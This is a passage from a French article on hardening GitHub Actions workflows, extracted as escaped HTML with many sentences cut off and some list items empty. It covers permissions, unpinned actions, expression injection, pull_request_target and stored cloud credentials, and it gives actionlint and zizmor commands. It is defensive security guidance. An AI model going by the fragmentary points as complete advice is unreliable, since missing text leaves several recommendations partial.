permissions:<\/code> explicite h\u00e9ritent des permissions par d\u00e9faut du token du d\u00e9p\u00f4t \u2014 g\u00e9n\u00e9ralement lecture\/\u00e9criture sur tout. Cela viole le moindre privil\u00e8ge et maximise le rayon d’impact de toute compromission.<\/p>\n\npermissions: read-all<\/code> de niveau sup\u00e9rieur (ou un bloc de permissions granulaire) \u00e0 chaque fichier de workflow.<\/p>\n\n2. Actions tierces non \u00e9pingl\u00e9es<\/h3>\n\n
@v4<\/code> ou @main<\/code> pour des actions tierces vous expose aux attaques de la cha\u00eene d’approvisionnement. Si le d\u00e9p\u00f4t de l’action est compromis, les attaquants peuvent pousser du code malveillant sous le tag existant.<\/p>\n\n3. Injection d’expressions dans les blocs run:<\/h3>\n\n
run:<\/code> permet l’ex\u00e9cution de commandes arbitraires.<\/p>\n\n4. Usage dangereux de pull_request_target<\/h3>\n\n
pull_request_target<\/code> donne \u00e0 l’attaquant acc\u00e8s aux secrets du d\u00e9p\u00f4t et aux permissions en \u00e9criture.<\/p>\n\ngithub.event.pull_request.head.sha<\/code> dans des workflows pull_request_target<\/code>. Utilisez plut\u00f4t le sch\u00e9ma \u00e0 deux workflows.<\/p>\n\n5. Identifiants cloud \u00e0 longue dur\u00e9e de vie stock\u00e9s comme secrets<\/h3>\n\n
Checklist de mise en \u0153uvre<\/h2>\n\n
\n
permissions:<\/code> explicites \u00e0 chaque workflow et \u00e0 chaque job.<\/li>\ngithub-actions<\/code>.<\/li>\npull_request_target<\/code> \u00e0 la recherche de sch\u00e9mas d’extraction dangereux.<\/li>\n${{<\/code> dans les blocs run:<\/code> de tous vos workflows et corrigez les vecteurs d’injection.<\/li>\nactionlint<\/code> et zizmor<\/code> \u00e0 votre pipeline CI pour d\u00e9tecter automatiquement les probl\u00e8mes.<\/li>\nLabs associ\u00e9s<\/h2>\n\n
\n
Outils pour la s\u00e9curit\u00e9 de GitHub Actions<\/h2>\n\n
actionlint<\/h3>\n\n
# Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\nzizmor<\/h3>\n\n
# Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\nConclusion<\/h2>\n\n